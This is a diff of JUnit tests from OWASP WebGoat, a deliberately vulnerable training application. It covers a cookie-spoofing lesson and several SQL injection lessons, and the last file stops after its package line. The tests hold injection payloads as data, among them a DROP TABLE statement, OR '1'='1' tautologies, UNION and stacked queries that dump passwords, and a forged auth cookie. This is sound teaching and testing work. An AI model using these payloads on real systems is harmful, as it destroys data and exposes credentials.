@ -0,0 +1,204 @@
/*
* This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2021 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
*/
package org.owasp.webgoat.lessons.spoofcookie;
import org.hamcrest.CoreMatchers;
import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.DisplayName;
import org.junit.jupiter.api.Test;
import org.junit.jupiter.api.extension.ExtendWith;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
import org.mockito.junit.jupiter.MockitoExtension;
import org.owasp.webgoat.container.assignments.AssignmentEndpointTest;
import org.springframework.http.MediaType;
import org.springframework.test.web.servlet.MockMvc;
import org.springframework.test.web.servlet.ResultActions;
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
import javax.servlet.http.Cookie;
import java.util.stream.Stream;
import static org.hamcrest.Matchers.emptyString;
import static org.hamcrest.Matchers.not;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.content;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.cookie;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
import static org.springframework.test.web.servlet.setup.MockMvcBuilders.standaloneSetup;
/***
*
* @author Angel Olle Blazquez
*
*/
@ExtendWith(MockitoExtension.class)
class SpoofCookieAssignmentTest extends AssignmentEndpointTest {
private MockMvc mockMvc;
private static final String COOKIE_NAME = "spoof_auth";
private static final String LOGIN_CONTEXT_PATH = "/SpoofCookie/login";
private static final String ERASE_COOKIE_CONTEXT_PATH = "/SpoofCookie/cleanup";
@BeforeEach
void setup() {
SpoofCookieAssignment spoofCookieAssignment = new SpoofCookieAssignment();
init(spoofCookieAssignment);
mockMvc = standaloneSetup(spoofCookieAssignment).build();
}
@Test
@DisplayName("Lesson completed")
void success() throws Exception {
Cookie cookie = new Cookie(COOKIE_NAME, "NjI2MTcwNGI3YTQxNGE1OTU2NzQ2ZDZmNzQ=");
ResultActions result = mockMvc.perform(MockMvcRequestBuilders
.post(LOGIN_CONTEXT_PATH)
.cookie(cookie)
.param("username", "")
.param("password", ""));
result.andExpect(status().isOk());
result.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(true)));
}
@Test
@DisplayName("Valid credentials login without authentication cookie")
void validLoginWithoutCookieTest() throws Exception {
String username = "webgoat";
String password = "webgoat";
ResultActions result = mockMvc.perform(MockMvcRequestBuilders
.post(LOGIN_CONTEXT_PATH)
.param("username", username)
.param("password", password));
result.andExpect(status().isOk());
result.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(false)));
result.andExpect(content().contentType(MediaType.APPLICATION_JSON_VALUE));
result.andExpect(cookie().value(COOKIE_NAME, not(emptyString())));
}
@ParameterizedTest
@MethodSource("providedCookieValues")
@DisplayName("Tests different invalid/valid -but not solved- cookie flow scenarios: "
+ "1.- Invalid encoded cookie sent. "
+ "2.- Valid cookie login (not tom) sent. "
+ "3.- Valid cookie with not known username sent ")
void cookieLoginNotSolvedFlow(String cookieValue) throws Exception {
Cookie cookie = new Cookie(COOKIE_NAME, cookieValue);
mockMvc.perform(MockMvcRequestBuilders
.post(LOGIN_CONTEXT_PATH)
.cookie(cookie)
.param("username", "")
.param("password", ""))
.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(false)));
}
@Test
@DisplayName("UnsatisfiedServletRequestParameterException test for missing username")
void invalidLoginWithUnsatisfiedServletRequestParameterExceptionOnUsernameMissing() throws Exception {
mockMvc.perform(MockMvcRequestBuilders
.post(LOGIN_CONTEXT_PATH)
.param("password", "anypassword"))
.andExpect(status().is4xxClientError());
}
@Test
@DisplayName("UnsatisfiedServletRequestParameterException test for missing password")
void invalidLoginWithUnsatisfiedServletRequestParameterExceptionOnPasswordMissing() throws Exception {
mockMvc.perform(MockMvcRequestBuilders
.post(LOGIN_CONTEXT_PATH)
.param("username", "webgoat"))
.andExpect(status().is4xxClientError());
}
@Test
@DisplayName("Invalid blank credentials login")
void invalidLoginWithBlankCredentials() throws Exception {
ResultActions result = mockMvc.perform(MockMvcRequestBuilders
.post(LOGIN_CONTEXT_PATH)
.param("username", "")
.param("password", ""));
result.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(false)));
}
@Test
@DisplayName("Invalid blank password login")
void invalidLoginWithBlankPassword() throws Exception {
ResultActions result = mockMvc.perform(MockMvcRequestBuilders
.post(LOGIN_CONTEXT_PATH)
.param("username", "webgoat")
.param("password", ""));
result.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(false)));
}
@Test
@DisplayName("cheater test")
void cheat() throws Exception {
ResultActions result = mockMvc.perform(MockMvcRequestBuilders
.post(LOGIN_CONTEXT_PATH)
.param("username", "tom")
.param("password", "apasswordfortom"));
result.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(false)));
}
@Test
@DisplayName("Invalid login with tom username")
void invalidTomLogin() throws Exception {
ResultActions result = mockMvc.perform(MockMvcRequestBuilders
.post(LOGIN_CONTEXT_PATH)
.param("username", "tom")
.param("password", ""));
result.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(false)));
}
@Test
@DisplayName("Erase authentication cookie")
void eraseAuthenticationCookie() throws Exception {
mockMvc.perform(MockMvcRequestBuilders
.get(ERASE_COOKIE_CONTEXT_PATH))
.andExpect(status().isOk())
.andExpect(cookie().maxAge(COOKIE_NAME, 0))
.andExpect(cookie().value(COOKIE_NAME, ""));
}
private static Stream<Arguments> providedCookieValues() {
return Stream.of(
Arguments.of("NjI2MTcwNGI3YTQxNGE1OTUNzQ2ZDZmNzQ="),
Arguments.of("NjI2MTcwNGI3YTQxNGE1OTU2NzQ3NDYxNmY2NzYyNjU3Nw=="),
Arguments.of("NmQ0NjQ1Njc0NjY4NGY2Mjc0NjQ2YzY1Njc2ZTYx"));
}
}

View File

@ -0,0 +1,90 @@
/*
* This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2021 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
*/
package org.owasp.webgoat.lessons.spoofcookie.encoders;
import static org.hamcrest.CoreMatchers.is;
import static org.hamcrest.MatcherAssert.assertThat;
import static org.junit.jupiter.api.Assertions.assertNull;
import static org.junit.jupiter.api.Assertions.assertTrue;
import java.util.stream.Stream;
import org.junit.jupiter.api.DisplayName;
import org.junit.jupiter.api.Test;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
import org.owasp.webgoat.lessons.spoofcookie.encoders.EncDec;
/***
*
* @author Angel Olle Blazquez
*
*/
class EncDecTest {
@ParameterizedTest
@DisplayName("Encode test")
@MethodSource("providedForEncValues")
void testEncode(String decoded, String encoded) {
String result = EncDec.encode(decoded);
assertTrue(result.endsWith(encoded));
}
@ParameterizedTest
@DisplayName("Decode test")
@MethodSource("providedForDecValues")
void testDecode(String decoded, String encoded) {
String result = EncDec.decode(encoded);
assertThat(decoded, is(result));
}
@Test
@DisplayName("null encode test")
void testNullEncode() {
assertNull(EncDec.encode(null));
}
@Test
@DisplayName("null decode test")
void testNullDecode() {
assertNull(EncDec.decode(null));
}
private static Stream<Arguments> providedForEncValues() {
return Stream.of(
Arguments.of("webgoat", "YxNmY2NzYyNjU3Nw=="),
Arguments.of("admin", "2ZTY5NmQ2NDYx"),
Arguments.of("tom", "2ZDZmNzQ="));
}
private static Stream<Arguments> providedForDecValues() {
return Stream.of(
Arguments.of("webgoat", "NjI2MTcwNGI3YTQxNGE1OTU2NzQ3NDYxNmY2NzYyNjU3Nw=="),
Arguments.of("admin", "NjI2MTcwNGI3YTQxNGE1OTU2NzQ2ZTY5NmQ2NDYx"),
Arguments.of("tom", "NjI2MTcwNGI3YTQxNGE1OTU2NzQ2ZDZmNzQ="));
}
}

View File

@ -0,0 +1,42 @@
/*
* This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2019 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
*/
package org.owasp.webgoat.lessons.sql_injection;
import org.junit.jupiter.api.BeforeEach;
import org.owasp.webgoat.container.plugins.LessonTest;
import org.owasp.webgoat.lessons.sql_injection.introduction.SqlInjection;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.test.web.servlet.setup.MockMvcBuilders;
import static org.mockito.Mockito.when;
public class SqlLessonTest extends LessonTest {
@BeforeEach
public void setup() {
when(webSession.getCurrentLesson()).thenReturn(new SqlInjection());
this.mockMvc = MockMvcBuilders.webAppContextSetup(this.wac).build();
}
}

View File

@ -0,0 +1,73 @@
/*
* This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2019 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
*/
package org.owasp.webgoat.lessons.sql_injection.introduction;
import org.junit.jupiter.api.Test;
import org.junit.jupiter.api.extension.ExtendWith;
import org.owasp.webgoat.lessons.sql_injection.SqlLessonTest;
import org.springframework.test.context.junit.jupiter.SpringExtension;
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
import static org.hamcrest.CoreMatchers.is;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
/**
* @author Benedikt Stuhrmann
* @since 11/07/18.
*/
public class SqlInjectionLesson10Test extends SqlLessonTest {
private String completedError = "JSON path \"lessonCompleted\"";
@Test
public void tableExistsIsFailure() throws Exception {
try {
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack10")
.param("action_string", ""))
.andExpect(status().isOk())
.andExpect(jsonPath("lessonCompleted", is(false)))
.andExpect(jsonPath("$.feedback", is(messages.getMessage("sql-injection.10.entries"))));
} catch (AssertionError e) {
if (!e.getMessage().contains(completedError)) throw e;
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack10")
.param("action_string", ""))
.andExpect(status().isOk())
.andExpect(jsonPath("lessonCompleted", is(true)))
.andExpect(jsonPath("$.feedback", is(messages.getMessage("sql-injection.10.success"))));
}
}
@Test
public void tableMissingIsSuccess() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack10")
.param("action_string", "%'; DROP TABLE access_log;--"))
.andExpect(status().isOk())
.andExpect(jsonPath("lessonCompleted", is(true)))
.andExpect(jsonPath("$.feedback", is(messages.getMessage("sql-injection.10.success"))));
}
}

View File

@ -0,0 +1,44 @@
/*
* This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2019 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
*/
package org.owasp.webgoat.lessons.sql_injection.introduction;
import org.hamcrest.CoreMatchers;
import org.junit.jupiter.api.Test;
import org.junit.jupiter.api.extension.ExtendWith;
import org.owasp.webgoat.lessons.sql_injection.SqlLessonTest;
import org.springframework.test.context.junit.jupiter.SpringExtension;
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
public class SqlInjectionLesson2Test extends SqlLessonTest {
@Test
public void solution() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack2")
.param("query", "SELECT department FROM employees WHERE userid=96134;"))
.andExpect(status().isOk())
.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(true)));
}
}

View File

@ -0,0 +1,73 @@
/*
* This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2019 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
*/
package org.owasp.webgoat.lessons.sql_injection.introduction;
import org.hamcrest.CoreMatchers;
import org.junit.jupiter.api.AfterEach;
import org.junit.jupiter.api.Test;
import org.junit.jupiter.api.extension.ExtendWith;
import org.owasp.webgoat.container.LessonDataSource;
import org.owasp.webgoat.lessons.sql_injection.SqlLessonTest;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.test.context.junit.jupiter.SpringExtension;
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
import java.sql.SQLException;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
public class SqlInjectionLesson5Test extends SqlLessonTest {
@Autowired
private LessonDataSource dataSource;
@AfterEach
public void removeGrant() throws SQLException {
dataSource.getConnection().prepareStatement("revoke select on grant_rights from unauthorized_user cascade").execute();
}
@Test
public void grantSolution() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack5")
.param("query", "grant select on grant_rights to unauthorized_user"))
.andExpect(status().isOk())
.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(true)));
}
@Test
public void differentTableShouldNotSolveIt() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack5")
.param("query", "grant select on users to unauthorized_user"))
.andExpect(status().isOk())
.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(false)));
}
@Test
public void noGrantShouldNotSolveIt() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack5")
.param("query", "select * from grant_rights"))
.andExpect(status().isOk())
.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(false)));
}
}

View File

@ -0,0 +1,87 @@
/*
* This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2019 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
*/
package org.owasp.webgoat.lessons.sql_injection.introduction;
import org.junit.jupiter.api.Disabled;
import org.junit.jupiter.api.Test;
import org.junit.jupiter.api.extension.ExtendWith;
import org.owasp.webgoat.lessons.sql_injection.SqlLessonTest;
import org.springframework.test.context.junit.jupiter.SpringExtension;
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
import static org.hamcrest.CoreMatchers.containsString;
import static org.hamcrest.CoreMatchers.is;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
public class SqlInjectionLesson5aTest extends SqlLessonTest {
@Test
public void knownAccountShouldDisplayData() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/assignment5a")
.param("account", "Smith")
.param("operator", "")
.param("injection", ""))
.andExpect(status().isOk())
.andExpect(jsonPath("lessonCompleted", is(false)))
.andExpect(jsonPath("$.feedback", is(messages.getMessage("assignment.not.solved"))))
.andExpect(jsonPath("$.output", containsString("<p>USERID, FIRST_NAME")));
}
@Disabled
@Test
public void unknownAccount() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/assignment5a")
.param("account", "Smith")
.param("operator", "").param("injection", ""))
.andExpect(status().isOk())
.andExpect(jsonPath("lessonCompleted", is(false)))
.andExpect(jsonPath("$.feedback", is(messages.getMessage("NoResultsMatched"))))
.andExpect(jsonPath("$.output").doesNotExist());
}
@Test
public void sqlInjection() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/assignment5a")
.param("account", "'")
.param("operator", "OR")
.param("injection", "'1' = '1"))
.andExpect(status().isOk())
.andExpect(jsonPath("lessonCompleted", is(true)))
.andExpect(jsonPath("$.feedback", containsString("You have succeed")))
.andExpect(jsonPath("$.output").exists());
}
@Test
public void sqlInjectionWrongShouldDisplayError() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/assignment5a")
.param("account", "Smith'")
.param("operator", "OR")
.param("injection", "'1' = '1'"))
.andExpect(status().isOk())
.andExpect(jsonPath("lessonCompleted", is(false)))
.andExpect(jsonPath("$.feedback", containsString(messages.getMessage("assignment.not.solved"))))
.andExpect(jsonPath("$.output", is("malformed string: '1''<br> Your query was: SELECT * FROM user_data WHERE" +
" first_name = 'John' and last_name = 'Smith' OR '1' = '1''")));
}
}

View File

@ -0,0 +1,95 @@
/*
* This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2019 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
*/
package org.owasp.webgoat.lessons.sql_injection.introduction;
import org.junit.jupiter.api.Test;
import org.junit.jupiter.api.extension.ExtendWith;
import org.owasp.webgoat.lessons.sql_injection.SqlLessonTest;
import org.springframework.test.context.junit.jupiter.SpringExtension;
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
import static org.hamcrest.Matchers.containsString;
import static org.hamcrest.Matchers.is;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
public class SqlInjectionLesson6aTest extends SqlLessonTest {
@Test
public void wrongSolution() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjectionAdvanced/attack6a")
.param("userid_6a", "John"))
.andExpect(status().isOk())
.andExpect(jsonPath("$.lessonCompleted", is(false)));
}
@Test
public void wrongNumberOfColumns() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjectionAdvanced/attack6a")
.param("userid_6a", "Smith' union select userid,user_name, password,cookie from user_system_data --"))
.andExpect(status().isOk())
.andExpect(jsonPath("$.lessonCompleted", is(false)))
.andExpect(jsonPath("$.output", containsString("column number mismatch detected in rows of UNION, INTERSECT, EXCEPT, or VALUES operation")));
}
@Test
public void wrongDataTypeOfColumns() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjectionAdvanced/attack6a")
.param("userid_6a", "Smith' union select 1,password, 1,'2','3', '4',1 from user_system_data --"))
.andExpect(status().isOk())
.andExpect(jsonPath("$.lessonCompleted", is(false)))
.andExpect(jsonPath("$.output", containsString("incompatible data types in combination")));
}
@Test
public void correctSolution() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjectionAdvanced/attack6a")
.param("userid_6a", "Smith'; SELECT * from user_system_data; --"))
.andExpect(status().isOk())
.andExpect(jsonPath("$.lessonCompleted", is(true)))
.andExpect(jsonPath("$.feedback", containsString("passW0rD")));
}
@Test
public void noResultsReturned() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjectionAdvanced/attack6a")
.param("userid_6a", "Smith' and 1 = 2 --"))
.andExpect(status().isOk())
.andExpect(jsonPath("$.lessonCompleted", is(false)))
.andExpect(jsonPath("$.feedback", is(messages.getMessage("sql-injection.6a.no.results"))));
}
@Test
public void noUnionUsed() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjectionAdvanced/attack6a")
.param("userid_6a", "S'; Select * from user_system_data; --"))
.andExpect(status().isOk())
.andExpect(jsonPath("$.lessonCompleted", is(true)))
.andExpect(jsonPath("$.feedback", containsString("UNION")));
}
}

View File

@ -0,0 +1,53 @@
/*
* This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2019 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
*/
package org.owasp.webgoat.lessons.sql_injection.introduction;
import org.junit.jupiter.api.Test;
import org.junit.jupiter.api.extension.ExtendWith;
import org.owasp.webgoat.lessons.sql_injection.SqlLessonTest;
import org.springframework.test.context.junit.jupiter.SpringExtension;
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
import static org.hamcrest.Matchers.is;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
public class SqlInjectionLesson6bTest extends SqlLessonTest {
@Test
public void submitCorrectPassword() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjectionAdvanced/attack6b")
.param("userid_6b", "passW0rD"))
.andExpect(status().isOk()).andExpect(jsonPath("$.lessonCompleted", is(true)));
}
@Test
public void submitWrongPassword() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjectionAdvanced/attack6b")
.param("userid_6b", "John"))
.andExpect(status().isOk()).andExpect(jsonPath("$.lessonCompleted", is(false)));
}
}

View File

@ -0,0 +1,100 @@
/*
* This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2019 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
*/
package org.owasp.webgoat.lessons.sql_injection.introduction;
import org.junit.jupiter.api.Test;
import org.junit.jupiter.api.extension.ExtendWith;
import org.owasp.webgoat.lessons.sql_injection.SqlLessonTest;
import org.springframework.test.context.junit.jupiter.SpringExtension;
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
import static org.hamcrest.CoreMatchers.containsString;
import static org.hamcrest.CoreMatchers.is;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
/**
* @author Benedikt Stuhrmann
* @since 11/07/18.
*/
public class SqlInjectionLesson8Test extends SqlLessonTest {
@Test
public void oneAccount() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack8")
.param("name", "Smith")
.param("auth_tan", "3SL99A"))
.andExpect(status().isOk())
.andExpect(jsonPath("lessonCompleted", is(false)))
.andExpect(jsonPath("$.feedback", is(messages.getMessage("sql-injection.8.one"))))
.andExpect(jsonPath("$.output", containsString("<table><tr><th>")));
}
@Test
public void multipleAccounts() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack8")
.param("name", "Smith")
.param("auth_tan", "3SL99A' OR '1' = '1"))
.andExpect(status().isOk())
.andExpect(jsonPath("lessonCompleted", is(true)))
.andExpect(jsonPath("$.feedback", is(messages.getMessage("sql-injection.8.success"))))
.andExpect(jsonPath("$.output", containsString("<tr><td>96134<\\/td><td>Bob<\\/td><td>Franco<\\/td><td>Marketing<\\/td><td>83700<\\/td><td>LO9S2V<\\/td><\\/tr>")));
}
@Test
public void wrongNameReturnsNoAccounts() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack8")
.param("name", "Smithh")
.param("auth_tan", "3SL99A"))
.andExpect(status().isOk())
.andExpect(jsonPath("lessonCompleted", is(false)))
.andExpect(jsonPath("$.feedback", is(messages.getMessage("sql-injection.8.no.results"))))
.andExpect(jsonPath("$.output").doesNotExist());
}
@Test
public void wrongTANReturnsNoAccounts() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack8")
.param("name", "Smithh")
.param("auth_tan", ""))
.andExpect(status().isOk())
.andExpect(jsonPath("lessonCompleted", is(false)))
.andExpect(jsonPath("$.feedback", is(messages.getMessage("sql-injection.8.no.results"))))
.andExpect(jsonPath("$.output").doesNotExist());
}
@Test
public void malformedQueryReturnsError() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack8")
.param("name", "Smith")
.param("auth_tan", "3SL99A' OR '1' = '1'"))
.andExpect(status().isOk())
.andExpect(jsonPath("lessonCompleted", is(false)))
.andExpect(jsonPath("$.output", containsString("feedback-negative")));
}
}

View File

@ -0,0 +1,179 @@
/*
* This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2019 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
*/
package org.owasp.webgoat.lessons.sql_injection.introduction;
